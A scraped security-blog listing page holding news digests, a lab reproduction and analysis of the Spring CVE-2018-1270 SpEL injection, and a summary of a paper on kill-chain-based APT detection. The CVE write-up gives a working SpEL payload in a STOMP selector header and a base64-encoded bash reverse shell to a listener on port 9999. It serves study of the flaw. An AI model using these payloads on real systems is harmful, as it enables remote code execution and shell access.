https://securityaffairs.co/wordpress/129745/cyber-crime/beastmode-botnet-targets-totolink-routers.html7、Mailchimp遭黑客入侵被用于对数字钱包用户进行网络钓鱼攻击 https://securityaffairs.co/wordpress/129831/data-breach/mailchimp-breached-cryptocurrency-phishing.html8、Hive 勒索软件使用新的 IPfuscation 技术来隐藏其有效负载 https://cyware.com/news/ipfuscation-is-hives-new-technique-to-evade-detection-96c3c7489、PCI安全标准委员会发布支付卡行业数据安全标准4.0版 https://www.govinfosecurity.com/pci-ssc-releases-data-security-standard-version-40-a-1882810、西班牙能源巨头Iberdrola的100多万用户数据被泄露 https://www.infosecurity-magazine.com/news/scottish-power-parent-data-breach/
记一次曲折的CVE-2018-1270复现分析
前言  前两天接到朋友对某个授权目标的漏扫结果,也算是初次接触到这个漏洞,就想着顺手分析一下复现一下,因为分析这个漏洞的文章也比较少,所以刚开始比较迷,进度也比较慢。  漏洞复现  使用vulhub搭建环境,下载vulhub git clone https://github.com/vulhub/vulhub.git  spring目录下有docker镜像直接启起来 sudo docker-compose up -d  访问8080端口即可查看  环境搭建ok,其实这里使用构造的payload不知道为什么不可以,稍后尝试,先使用exp去执行,在环境中刚好有exp,我们只需要修改目标ip  修改执行的命令  执行EXP  进入docker容器查看是否成功生成数据 ocker exec -it 1f699e14e /bin/bash  验证EXP成功利用,这里尝试一下反弹shell,在另一台终端监听一个端口 nc -lvp 9999  修改EXP bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMTQuMjUxLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}  得到容器的shell  由于在线编码的平台不能使用,所以需要自己做一下base64的编码然后再解码,但是这里为什么直接反弹的shell不能够执行呢?  是因为管道符、输入输出重定向,只有在bash环境下才能用。由于项目环境为Java环境不支持管道符、输入输出重定向等。重定向和管道符的使用方式在正在启动的进程的中没有意义。例如ls > 1.txt 在shell中执行为将当前目录的列表输出到命名为 1.txt 。但是在 exec() 函数的中,该命令为解释为获取 > 和 1.txt 目录的列表。  下载源码 wget https://github.com/spring-guides/gs-messaging-stomp-websocket.git  新建项目导入pom.xml文件搭建环境,配置配置文件  运行本地已搭建 http://127.0.0.1:8080/  本地搭建目的是方便调试。  修改代码位置 src->main->resources->static->app.js  修改connect方法 function connect() {   var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};   var socket = new SockJS('/gs-guide-websocket');   stompClient = Stomp.over(socket);   stompClient.connect({}, function (frame) {       setConnected(true);       console.log('Connected: ' + frame);       stompClient.subscribe('/topic/greetings', function (greeting) {           showGreeting(JSON.parse(greeting.body).content);       },header);   }); }  保存后重新运行,Websocket连接,send发送任意信息即可触发calc.exe  分析  本地windows的触发条件更能清楚的理解,exec中代码执行的条件是由于建立socket通信之后发送信息的时候触发的,这里通过下断点来调试  首先先了解几个概念,没有java框架开发经验的话确实很让人头疼,SpEL表达式,是Spring表达式的简写,能够以一种强大而简洁的方式将值装配到Bean属性和构造器参数中,在这个过程中所使用的表达式会在运行时计算得到值。简单理解就是利用简单的表达形式来实现操作。  SpEL支持如下表达式: 基本表达式:字面量表达式、关系,逻辑与算数运算表达式、字符串连接及截取表达式、三目运算及Elivis表达式、正则表达式、括号优先级表达式; 类相关表达式:类类型表达式、类实例化、instanceof表达式、变量定义及引用、赋值表达式、自定义函数、对象属性存取及安全导航表达式、对象方法调用、Bean引用; 集合相关表达式:内联List、内联数组、集合,字典访问、列表,字典,数组修改、集合投影、集合选择;不支持多维内联数组初始化;不支持内联字典定义; 其他表达式:模板表达式。  STOMP协议  STOMP是一个简单的可互操作的基于帧的协议, 作用于中间服务器在客户端之间进行异步消息传递,STOMP协议基于TCP协议,类似于HTTP协议,使用了以下命令: CONNECT SEND SUBSCRIBE UNSUBSCRIBE BEGIN COMMIT ABORT ACK NACK DISCONNECT Ctrl+N  根据披露的漏洞位置,直接搜索问题类DefaultSubscriptionRegistry  在Protected属性addSubscriptionInternal方法中,定义了selectorHeaderInUse的属性为true  95行的时候把四个参数,sessinId,subsId,destination(订阅地址("/topic/greetings")以及expression添加进subscriptionRegistry属性中。  app.js修改的代码位置为 var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};  private属性中的filterSubscriptions方法在什么时候会触发呢?下断点调试会发现,在send发送信息的时候会传入message参数,这个时候就会调用前端传入的selector构造的内容即SpEL表达式的内容,从第二种的复现方式来看就是这样的,但是在调试的时候正常的利用是首先触发  118行调用findSubscriptionsInternal函数 ctrl+N向上查找函数  在AbstractSubscriptionRegistry类中找到了在满足else的时候调用了findSubscriptionsInternal函数,可能在这里也许有师傅有点困惑,在这里我们需要明白的是参数destination(订阅地址)和参数message(含有SpEL表达式即payload)的内容。  但是这里有个疑问,那么哪里利用到了STOMP协议的内容呢?  上文提到了STOMP协议的命令,里面涉及到的SUBSCRIBE命令,在SUBSCRIBE命令下selector头值会作为表达式存储,在实现addSubscriptionInternal方法的方法生成sessionID的时候表达式已经实现了存储。  这个时候就很明显了,seesionid的生成就涉及到了websocket实现客户端和服务器之间的交互  到这里分析就结束了,但是函数调用以及漏洞触发的原因已经分析的比较清楚了。  小结  Java的东西忘记的差不多了,IDEA的快捷键都给忘了,突然分析起来很头大,可参考的内容也比较少,走的坑也比较多吧,有问题的地方欢迎师傅们指正。  参考文章 https://mp.weixin.qq.com/s/9ZHopkDK8aVzFPrSOEgOVghttps://mp.weixin.qq.com/s/K56p8PkyrxmsZ1holFbh2Qhttps://www.jianshu.com/p/ae3922db1f70
从kill-chain的角度检测APT攻击
前言  最近一直在考虑如何结合kill chain检测APT攻击。出发点是因为尽管APT是一种特殊、高级攻击手段,但是它还是会具有攻击的common feature,只要可以把握住共同特征,就能进行检测。而kill chain就是个非常好的common feature描述。  在预研期间看到了一些觉得比较好的工作,这里和各位师傅一起分享下。如题所述,这篇文章是介绍如何如kill-chain的角度检测APT攻击的一个方案,其特点解决了三个痛点:1.在于针对大数据量的问题引入Pearson相关检验来减少处理数据量;2,使用基于贝叶斯算法分类的优先级选择方法对训练数据进行选择,从而显著降低训练时间;3.利用层次分析法,对不同的警报进行分类,并确定各参数之间的相关性,最终提高所有攻击数据类的检测率。  kill-chain模型  kill-chain模型各位师傅应该都比较熟悉了,不过为了方便与后文的APT检测对应起来,我们这里还是简单梳理下。  kill-chain模型有7个阶段:(1) Reconnaissance, (2) Weaponization, (3) Deliver, (4) Exploitation, (5) Installation, (6) Command and Control (7) Actions on objectives  这7个连续的步骤为攻击者提供了行动TTP(tactic,technique和procedure)  事实上,kill-chain模型不仅可以给攻击者提供参考,也能给防御者提供指引,从预防、检测、分析每一步骤都有章可循。下面根据个人经验简单回顾一下。  Reconnaissance  第一阶段侦查的主要目标就是收集目标的信息,这一步说简单也简单,说难也难,相信做渗透的师傅们都深有体会。  Weaponization  第二阶段Weaponization,即武器化,其目标是创建一个可以交付攻击的恶意payload,这里的payload可以分为两种类型:  1.不需要与攻击者通信的payload,比如病毒、蠕虫等  2.需要与攻击者通信的payload,比如带有C&C功能的恶意软件  其实关于这一阶段的产物我们更熟悉的名词应该叫做RAT(remote access Trojan),即远控木马  RAT需要客户端和负责下发命令的服务器。客户端接收实际恶意payload,并被配置为能够与C2服务器通信,服务器位于网络上,由攻击者控制。  比如在Reconnaissance阶段,攻击者注意到电子邮件系统不允许发送和接收exe文件,但允许发送pdf文件。另一方面,攻击者注意到,教授经常通过电子邮件收到并打开学生的PDF文件。因此,攻击者可以创建一个能够与C2服务器通信的RAT文件,并将该RAT文件嵌入到一个伪装为个人简历(比如要读研的前来套磁的学生)的PDF文件中,然后将其以附件的形式发给教授。  Deliver  payload在上一阶段被开发完成后就需要通过各种途径投递出去,这里可以通过社会工程学的方法欺骗受害者进行交互,或者利用协议、软件的缺陷自动投递。在这一阶段最重要的就是确保投递时的隐蔽性,非交互就能投递的话自然是最好的,可这也是最难的,所以在网上流传很广的那个报价表上'Zero-interaction'的漏洞价格一骑绝尘。  Exploitation  在利用阶段,需要确保其拥有必要的权限以在目标平台上运行,比如投递的是elf文件,则肯定是不能在windows平台运行的;而且payload不能被检测出来,否则kill-chain的链条到这里就断了。  这一步容易和下一步混淆,这一步是利用,下一步才是安装。举个简单的例子,本来是没有权限安装某个app的,但是同个exploition这个阶段实现了提权、逃逸等操作,所以才能保证下一步installation的进行。  Installation  这一阶段并不是必须,比如那些可执行文件或者以代码注入实现的攻击。  如果涉及到这个阶段的话,攻击者就需要在deliver阶段将dropper或者downloader放置在目标计算机上。这一步的关键不在于漏洞利用,而是在于持久化,能够在受害者主机上存活下来。  Command and Control  这一阶段是不可或缺的,因为很多攻击活动的目的就是为了窃取信息,那么在本地拿到信息后自然需要通过C2回传,比如典型的Zeus等;此外对于僵尸网络还需要接收客户端的命令以执行恶意操作,比如发动ddos攻击,对于勒索软件需要被下派指令激活以加密本地关键文件  在这一步,根据通信特点也可以分为直接通信和间接通信两类:  在直接通信中,受害主机上的恶意软件包含攻击者控制的服务器ip和控制列表,但是如果这个特定的ip被阻断了,那么攻击者就失去了控制权;  在间接通信中,攻击者是利用合法的中间节点与受害者进行通信的,他可以利用白站进行中转,或者攻陷一些中间节点作为跳板,从而建立通信路径。  这一步其实非常灵活,攻击者可以通过不同的方式进行通信,比如使用邮件、使用http,dns等以及隐蔽信道。  但是这一阶段的活动一定会产生网络流量,因为很多检测工作都是在流量方面开展的。  Actions on objectives  这是kill-chain模型的最后阶段。攻击活动要么会自主进行或者通过C2信道接收到命令后开始执行。这一阶段的目标主要有三种:窃取信息、勒索软件、破坏系统。  回顾完了kill-chain,我们可以很直观地感受到,这个连续模型,阐述了攻击者是如何一步步实现攻击的,其基于的假设就是攻击者会以顺序、递进和高级的方式对受害者进行渗透,只要任一阶段被阻断,攻击就不会成功。  检测方案  检测方案非常直观,如下所示  在数据预处理阶段采用Pearson相关检验,利用贝叶斯算法优化训练输入信息。接下来贝叶斯算法根据检测阈值、预测阈值和灰色结果三个组成部分对数据进行分类。然后,将剩余的预处理数据作为实验组件,将其输出作为分析层次过程的输入参数,对攻击进行排序。此时会输出包括一个已知攻击优先级的分类。  参数的预处理与联系  检测APT攻击时需要计算几个参数,大部分研究中针对网络攻击的类型和严重程度,已经引入了各种参数来评估和检测网络攻击。但这里需要注意的是,检查许多参数的话可能会增加开销,并最终降低提出的入侵检测解决方案的效率。  所以在这里采用相关系数法减少检测APT攻击时使用的参数数量。  相关系数是确定两个定量变量之间关系类型和程度的统计工具。同时,它也是决定两个变量相关性的因素之一。它表明了关系的强度以及关系的类型。这个系数在−1到1之间。在两个变量之间没有关系的情况下,它等于0。  两个变量之间的相关性可以用各种不同的计算方法来测量。皮尔逊相关系数、斯皮尔曼相关系数和Tau Kendall相关系数是计算变量之间相关关系最常用的方法。在这里我们使用皮尔逊相关系数。一般来说,两个随机变量之间的皮尔逊相关系数等于它们的协方差除以它们的标准差的乘积。对于一个统计总体,相关系数可定义如下  对于有n个数据对的样本的相关系数可以表示如下  进一步推导为  其中  接下来需要评估相关强度,根据给定的应用,提出了各种分类,这些分类用于关联数据以及从大量数据中删除无用数据。  对应的评估可以参考下表  利用贝叶斯算法进行阈值训练和评估  贝叶斯决策理论是一种概率推理方法。假设给定的变量遵循一定的概率分布,这些概率和观察到的数据可以用来做决策。  朴素贝叶斯分类模型(NBC)是基于贝叶斯决策理论的一种基础模型。该分类方法执行简单,分类速度快,准确率高,是机器学习中应用最广泛的分类模型之一。朴素贝叶斯分类基本思想:假设样本属性之间相互独立,对于给定的待分类项,求解在此项出现的情况下其他各个类别出现的概率,哪个最大,就认为待分类项属于那一类别。  比如大家都知道的邮箱内垃圾邮件的筛选即应用朴素贝叶斯算法。我们这里就用它。  其实现主要分成三个阶段  第一阶段,准备工作。根据具体情况确定特征属性,并对每一特征属性进行划分,然后人工对一些待分类项进行分类,形成训练样本集合。这一阶段的输入是所有待分类数据,输出是特征属性和训练样本。唯一需要人工处理的阶段,质量要求较高。  第二阶段,分类器训练阶段(生成分类器)。计算每个类别在训练样本中出现频率及每个特征属性划分对每个类别的条件概率估计,并将结果记录。其输入是特征属性和训练样本,输出是分类器。  第三阶段,应用阶段。使用分类器对待分类项进行分类,其输入是分类器和待分类项,输出是待分类项与类别的映射关系。  理论上来说,朴素贝叶斯分类比其他分类算法的错误率最低。  但是,很难假设实际的网络行为是独立的。因为实际上每个计算机网络都有自己独特的特点,这些特点直接影响入侵检测方法的效果。因此,将一个加权特征分配给简单贝叶斯分类,在朴素贝叶斯分类中,对每个影响这些关系的属性赋予不同的权重时,不同的权值会产生不同的结果,这些权值对入侵检测方法有很大的影响。  在入侵检测系统中,朴素贝叶斯分类的重点实际是用于是确定不同特征权重。  通过公式计算得到的概率被用来确定阈值。通过对阈值进行评估,将结果表示为灰色阈值、预测阈值和检测阈值三种模式。预测模式表示当前入侵信息被检测到的过程。检测模式决定了入侵信息被完全识别和检测的过程。灰色模式表示当前信息无法检测到入侵。  模糊层次分析法  模糊层次分析法(FAHP)及计算过程层次分析法(AHP)是20世纪70年代美国运筹学T.L. Saaty教授提出的一种定性与定量相结合的系统分析方法。  该方法对于量化评价指标,选择最优方案提供了依据,并得到了广泛的应用。然而, AHP存在如下方面的缺陷:检验判断矩阵是否一致非常困难,且检验判断矩阵是否具有一致性的标准CR < 0. 1缺乏科学依据;判断矩阵的一致性与人类思维的一致性有显著差异。  在模糊层次分析中,作因素间的两两比较判断时,如果不用三角模糊数来定量化,而是采用一个因素比另一个因素的重要程度定量表示,则得到模糊判断矩阵。  其抽象结构如下所示  emmm,不好理解的话,我们里去哪里旅游的问题为例,可以把要考虑的因素都放上去进行计算,如下所示  用模糊层次分析法解决问题的一般步骤如下:  模糊层次分析法的基本思想是根据多目标评价问题的性质和总目标,把问题本身按层次进行分解,构成一个由下而上的梯阶层次结构。因此在运用FAHP决策时,大体上可以可分为以下四个步骤。   (1)分析问题,确定系统中各因素之间的因果关系,对决策问题的各种要素建立多级(多层次)递阶结构模型。   (2)对同一层次(等级)的要素以上一级的要素为准则进行两两比较,并根据评定尺度确定其相对重要程度,最后据此建立模糊判断矩阵。   (3)通过一定计算,确定各要素的相对重要度。   (4)通过综合重要度的计算,对所有的替代方案进行优先排序,从而为决策人选择最优方案提供科学的决策依据  在我们提出的方案中,模糊层次分析法是用于对不同的警报进行分类,并确定各参数之间的相关性,从而检测出APT攻击的。  该方法首先会对输入数据进行模糊化处理,数值模糊化可以采用各种隶属函数。隶属度A(x)表示模糊集合A中元素x的隶属度。如果一个元素的隶属度为0,则该元素完全不在该集合中;如果隶属度为1,则该元素完全在该集合中。当隶属度在0到1之间时,表示隶属度是渐进的。这里我们可以使用三角隶属函数对值进行模糊化处理。其公式如下  层次分析过程步骤如下:  •AHP建模过程-》创建两两比较决策矩阵-》计算每个选项的标准权重和得分,其最后一步涉及兼容性测试;其中涉及一致性指标(CI)和一致性比(CR)两个参数,当CR小于0.1时,结果才是可接受的,否则就要重新执行  检测效果  为了检测方案的可行性,这里使用了标准的公开数据集KDD CUP99进行评估  KDD CUP99是非常经典的数据集。该数据集是自1999年以来评估入侵检测系统最常见和标准的数据集,是基于DARPA 98项目记录的数据。该数据集包含由TCPDump软件从网络流量中收集的大约4 GB的原始二进制数据。它还包含大约500万条带有连接向量的记录,每条记录的大小为100字节和41个属性,以及一个包含正常模式或攻击模式的标签。由于该数据集的容量很大,大多数研究都使用了标准数据集中提供的10%的子集。这个数据集包括494,021条记录,包括23种攻击类和2个普通类。  在该数据集中,将数据记录分为拒绝服务(DoS)攻击、获取初始访问(R2L)攻击、提权(U2R)攻击和探测攻击(probing)四大类。在这里,根据kill-chain的特性以及这些攻击对kill-chain模型某些阶段的适应性,以这些攻击为例对APT攻击进行了分析。我们考虑了DoS、R2L、U2R攻击,以及信息收集(“Reconnaissance”)、入侵(“weaponization” 和“Delivery)、部署(““Exploitation” 和 “Installation””)和信息窃取(“Command and Control” 和 “Action on Objectives”)阶  因为使用了贝叶斯算法和模糊层次分析法相结合的方法,这里通过参数M负责控制这两种算法的收敛(M的值实际上表示Bayesian算法下一步将用于训练的数据点),为了确定M去哪个值更好,这里分别作了实验,效果如下  可以看到,M=4时效果是最好的  为了确定所提出的方案的效率更好,这里可以对T2数据集提取混淆矩阵,如下所示。a是基础方案,b是提出的方案.  在接下来的实验中,我们把这里提出的新的思路命名为APT-Dt-KC,然后与参考文献5中提出的DT-EnSVM方法进行对标,从结果可以看到,新的方案全面胜出。  从上表可以看出来,现在的方案混淆矩阵在分类阶段的效率比基础方案要更优。  然后分别比较两个方案在T1数据集和T2数据集上的结果,如下所示,第一个表示是在T1数据集上的结果,第二个表是在T2数据集上的结果  可以看到,现在的方案在检出率、假阳性率和假阴性率方面均要更占优势。而且由于消除了预警的冗余性,其训练时间也更短。  两个方案在两个数据集上的准确率如下  可以看到,现在的方案在准确率上是遥遥领先。  但是这还没有结束,对攻击进行分类处理后,需要确定攻击的级别和优先级。  由于现在的方法采用了AHP算法来考虑攻击的级别,因此可以对不同的攻击进行排序。因此,可以对所有攻击进行分类、排序,并根据最可能发生的情况进行评估。T1数据集在攻击检测阶段的实验结果如下所示。  可以看到其假阳性率和假阴性率均小于基础方法。  T1数据集中两个方案的平均检测率值如下所示  从表中可以看出,现在的方案在最终检测率上也是优于基础方法的。所以我们现在可以肯定地说,整个过程中我们提出的新方案有较好的检测效果。  参考  1.Panahnejad M, Mirabi M. APT-Dt-KC: advanced persistent threat detection based on kill-chain model[J]. The Journal of Supercomputing, 2022: 1-34.  2.https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html  3.https://towardsdatascience.com/support-vector-machine-introduction-to-machine-learning-algorithms-934a444fca47  4.Setiawan B, Djanali S, Ahmad T, et al. Assessing centroid-based classification models for intrusion detection system using composite indicators[J]. Procedia Computer Science, 2019, 161: 665-676.  5.Gu J, Wang L, Wang H, et al. A novel approach to intrusion detection using SVM ensemble with feature augmentation[J]. Computers & Security, 2019, 86: 53-62.
网络安全日报 2022年04月02日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Rockwell PLC 严重漏洞可以导致 Stuxnet 式攻击 https://www.securityweek.com/new-vulnerabilities-allow-stuxnet-style-attacks-against-rockwell-plcs 2、趋势科技修复了Apex Central 中的0day漏洞 https://www.securityweek.com/trend-micro-patches-apex-central-zero-day-exploited-targeted-attacks 3、Zyxel 修复了其业务防火墙和 VPN 设备中的一个严重漏洞 https://securityaffairs.co/wordpress/129689/security/zyxel-firewalls-authentication-bypass.html 4、AcidRain wiper针对欧洲路由器和调制解调器进行破坏 https://securityaffairs.co/wordpress/129703/malware/acidrain-wiper-ukraine.html 5、Lazarus Group 分发木马化 DeFi 钱包应用以窃取受害者的加密货币 https://thehackernews.com/2022/04/north-korean-hackers-distributing.html 6、GitLab 解决了严重的帐户劫持漏洞 https://portswigger.net/daily-swig/gitlab-addresses-critical-account-hijack-bug 7、网络钓鱼使用 Azure 静态网页冒充微软 https://www.bleepingcomputer.com/news/microsoft/phishing-uses-azure-static-web-pages-to-impersonate-microsoft/ 8、Rapid7修复了漏洞管理软件Nexpose中的SQL注入漏洞 https://portswigger.net/daily-swig/critical-sql-injection-flaw-fixed-in-rapid7s-nexpose-vulnerability-scanner 9、国家信息安全漏洞共享平台收录Spring框架远程命令执行漏洞 https://www.cnvd.org.cn/webinfo/show/7541 10、新的BlackGuard密码窃取恶意软件在黑客论坛上出售 https://www.bleepingcomputer.com/news/security/new-blackguard-password-stealing-malware-sold-on-hacker-forums/
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页